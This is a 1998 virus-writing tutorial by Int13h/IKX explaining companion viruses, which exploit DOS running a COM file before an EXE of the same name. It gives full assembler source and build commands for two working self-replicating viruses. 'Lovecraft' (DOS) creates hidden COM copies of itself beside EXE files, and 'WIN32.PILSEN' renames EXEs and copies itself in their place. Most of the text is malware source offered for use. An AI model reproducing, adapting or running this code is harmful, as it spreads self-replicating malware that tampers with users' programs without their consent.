Companion Viruses for 16 and 32 bits
Written by Int13h/IKX


INTRODUCTION

Well. It is lame but someone has to do it. This is a semi-tutorial about companion viruses. 16 and 32 bits companion viruses as you can read in the title. Companion viruses are clasically written in high level languages. Usually C or Pascal, because is harder to write decent viruses in HLLs. But, lets remember Sentinel, a bulgarian virus written by Lubo and Ian in Turbo Pascal, it is a TSR parasi- tary and stealth. Is easy to write a companion virus in assembler. The way of acting is the following. If we have an EXE file and a COM with the same name (test.com and test.exe) and in the command line we type:

C:\>TEST

DOS will execute the program TEST.COM, that is, DOS gives priority to COM files. Companion viruses uses this advantage. This kind of self-replicable code looks for an EXE file, creates a file with the same name but with COM extension (with hidden attribute), then writes the viral code to the created COM program. Then, when the user types

C:\>TEST

the COM will be executed (that is, the virus), the virus will infect other EXEs in the directory and when work is finished he will run the real hoste, that is the program in currently execution but with extension mutated to EXE.

COMPANION in 16 bits

Under DOS we will use functions 4eh/4fh to get the name of EXE files in the current directory. And the function 4bh to execute the original wanted program, that is, our hoste. You must free some memory before calling 4Bh, so pay atention where you put your SP. Following these bytes its going a ultra-simple and lame companion virus:

8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Lovecraft Virus by Int13h/IKX - A simple 16 bits companion virus.
;
;                       tasm lovecraf /m2
;                       tlink /t lovecraf
;

.model tiny
.code
org 0100h

Size = (offset FinVirus-offset Lovecraft)

Lovecraft:
        mov     dx,60000d                       ; Realocate DTA
        mov     ah,01ah                         ; to heap
        int     21h

        mov     ah,04eh
        sub     cx,cx
        mov     dx,offset Victims               ; Look 4 *.EXE
        int     21h
        jnc     Create_File

Restore:mov     ah,01ah
        mov     dx,080h                         ; Realocate DTA to its
        int     21h                             ; original place

        mov     ax,word ptr ds:[02ch]           ; Fill the table that the 4bh
        mov     word ptr [SegmentPSP],ax        ; function will use to execute
        mov     word ptr [SegmentLinea],cs      ; the original hoste
        mov     word ptr [SegmentFCB1],cs
        mov     word ptr [SegmentFCB2],cs

        mov     es,word ptr ds:[02ch]           ; Environment segment
        mov     di,1
        xor     ax,ax                           ; AX=0000
Buscar_cero:
        dec     di
        scasw                                   ; Look 4 the doble-zero
        jnz     Buscar_cero

        inc     di                              ; This is to point to the
        inc     di                              ; beginning of the filename

        push    es
        pop     ds                              ; DS=ES
        push    cs
        pop     es                              ; ES=CS
        mov     si,di                           ; Copy name of the file
        mov     di,offset FiletoRUN             ; in our buffer
        mov     cx,128d
        rep     movsb
        push    cs cs
        pop     ds es                          ; CS=DS=ES

        mov     di,offset FiletoRUN            ; Change extension
        xor     al,al                          ; Look for the 0 of the ASCIIZ
        mov     cx,125d
        repne   scasb

        mov     word ptr [di-4],'XE'           ; Put EXE extension
        mov     byte ptr [di-2],'E'

        cli
        mov     sp,700d                        ; This is important! Move in
        sti                                    ; a safe place our stack pointer

        mov     ah,04ah                        ; Free memory not used by the
        mov     bx,030h                        ; virus, with 30h paragraphes
        int     21h                            ; is more than enough

        mov     ax,04b00h                      ; Execute program
        mov     dx,offset FiletoRUN            ; Name of the file
        mov     bx,offset SegmentPSP           ; 4B table
        int     21h

        mov     ah,04ch                        ; Exit to OS
        int     21h                            ; AL have exit code


Create_File:
        mov     di,60000d+01eh                 ; Point to file name
        mov     cx,9
        mov     al,'.'                         ; Look 4 the .
        repne   scasb

        mov     word ptr [di],'OC'             ; Put COM extension
        mov     byte ptr [di+2],'M'

        mov     dx,60000d+01eh                 ; Create the file with
        mov     ah,03ch                        ; changed extension
        mov     cx,023h                        ; Read only+hidden attributes
        int     21h
        jc      NextOne                      ; File already exist (infected)
        xchg    bx,ax                          ; Move handle in BX

        mov     ah,40h                         ; Write virus in the created
        mov     cx,Size                        ; file
        mov     dx,100h
        int     21h

NextOne:mov     ah,03eh                        ; Close
        int     21h
        mov     ah,04fh                        ; Find next victim
        int     21h
        jnc     Create_File
        jmp     Restore                        ; Return control

Bicho db 'Lovecraft by Inty - Paraguay'        ; Howard Phillips Lovecraft

Victims         db '*.exe',0
SegmentPSP      dw 0                           ; In a COM always CS=DS=ES=SS
                dw 080h                        ; Command line, offs 80 of PSP
SegmentLinea    dw 0                           ; Command line segment
                dw 005ch                       ; FCB#1 in the PSP
SegmentFCB1     dw 0                           ; FCB#1 segment
                dw 006ch                       ; FCB#2 in the PSP
SegmentFCB2     dw 0                           ; FCB#2 segment

FinVirus label byte
FiletoRUN label byte                           ; Use the heap
End Lovecraft
8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

COMPANION in 32 bits

Under Win32 we will use the following APIs to do our work:

     FindFirstFileA, FindNextFileA, MoveFileA, CopyFileA,
     GetCommandLineA, CreateProcessA, lstrcpyA

It is really easy. You can get the name of the file which is currently running by calling the GetCommandLineA API. The name of the program that is taking control now is the first argument in the command line, but it is like this:

"program.exe" /D: /PARAMETERS /ETC

Why this? Lets quote to my friend Murkry:

      " What does this mean to us virii/hackers of win95?
        lets say we want to write a virus that adds info
        to the end of the host but does not modify the host
        PE header so while the info is there it is not loaded
        into memory. (A new LE/Macro infector works like this).
        Step one, we need the file name. Well check out the
        code below which will show a MessageBox with the file
        name in quotes when ran normaly, but will show the file
        name without quotes if in TD32 and I assume other debuggers
        (probaly not SI though). Be warn about this feature since this
        means if you are running a debugger to test, it will work
        differently, ie if you used this pointer to try and open the
        file it will fail since file "c:\filepath\foo.exe" is the
        file you will try to open not c:\filepath\foo.exe. "

                                        Murkry/IKX - File Xine-3.100

I think that is the only tricky thing, just check the code bellow to see an example companion virus.

8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; WIN32.PILSEN Virus by Int13h/IKX - A simple 32 bits companion virus.
;
;                tasm32 /ml /m3 %1,,;
;                tlink32 /Tpe /aa /c  /v %1,,, import32.lib,
;


.386
.model flat
locals

        extrn   FindFirstFileA:PROC
        extrn   FindNextFileA:PROC
        extrn   MoveFileA:PROC
        extrn   CopyFileA:PROC
        extrn   GetCommandLineA:PROC
        extrn   CreateProcessA:PROC
        extrn   lstrcpyA:PROC
        extrn   MessageBoxA:PROC
        extrn   ExitProcess:PROC

.DATA
; Esto va para t¡ Jorge, borrach¡n! :)
TituloVentana   db 'WIN32.PILSEN VIRUS by Int13h/IKX',0
TextoVentana    db 'MaDe iN PaRaGuAy',0
Victims         db '*.EXE',0
SearcHandle     dd 0
ProcessInfo     dd 4 dup (0)
StartupInfo     dd 4 dup (0)

Win32FindData   dd 0,0,0,0,0,0,0,0,0,0,0
Hallado         db 200 dup (0)
Crear           db 200 dup (0)
ToRUN           db 200 dup (0)

.CODE

INICIO: call    GetCommandLineA                 ; Get command line, where is the
        push    eax                             ; name of the file that is running
        mov     eax,offset ToRUN                ; Copy it in our buffer
        push    eax
        call    lstrcpyA

        mov     edi,eax
Buscar: cmp     byte ptr [edi],'.'              ; Find the point
        jz      ElPunto
        inc     edi
        jmp     Buscar
ElPunto:mov     esi,edi                         ; Memorize position
        inc     esi
        add     edi,4                           ; Point...
        mov     byte ptr [edi],00               ; Add 0, to kill CmdLine

        mov     eax,offset Win32FindData
        push    eax
        mov     eax,offset Victims
        push    eax
        call    FindFirstFileA                  ; Look for *.EXE
        mov     dword ptr [SearcHandle],eax
Ciclo:  cmp     eax,-1                          ; Grrrr! Error
        je      Errare
        or      eax,eax
        jz      Exiting                         ; Execute original hoste

        mov     eax,offset Hallado              ; Copy Hallado in Crear
        push    eax
        mov     eax,offset Crear
        push    eax
        call    lstrcpyA

        mov     edi,offset Crear
StillLooking:
        cmp     byte ptr [edi],'.'              ; Localize the period
        jz      PeriodFound
        inc     edi
        jmp     StillLooking
PeriodFound:
        inc     edi
        mov     dword ptr [edi],0004d4f43h      ; Put COM extension
        
        mov     eax,offset Crear
        push    eax
        mov     eax,offset Hallado              ; Rename to COM
        push    eax
        call    MoveFileA

        sub     eax,eax                         ; Flag
        push    eax
        mov     eax,offset Hallado              ; Copy the file with the
        push    eax                             ; name of the found file
        mov     eax,offset ToRUN+1
        push    eax
        call    CopyFileA                        

        mov     eax,offset Win32FindData
        push    eax
        push    dword ptr [SearcHandle]         ; Look for another file
        call    FindNextFileA
        jmp     Ciclo

Errare: mov     eax,1
        push    eax
        mov     eax,offset TituloVentana        ; Print copyright
        push    eax
        mov     eax,offset TextoVentana
        push    eax
        xor     eax,eax
        push    eax
	call	MessageBoxA

Exiting:mov     eax,offset ProcessInfo
        push    eax
        mov     eax,offset StartupInfo
        push    eax
        xor     eax,eax
        push    eax
        push    eax
        push    00000010h                       ; Run hoste
        push    eax
        push    eax
        push    eax
        call    GetCommandLineA
        inc     eax
        push    eax
Done:   mov     dword ptr [esi],0004d4f43h      ; COM extension
        mov     eax,offset ToRUN+1
        push    eax
        call    CreateProcessA
        push    0
        call    ExitProcess

Ends
End INICIO
8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

FINAL WORD PTR

This was all. If you have some comments you know where I am :)

Paraguay, October 25, 1998.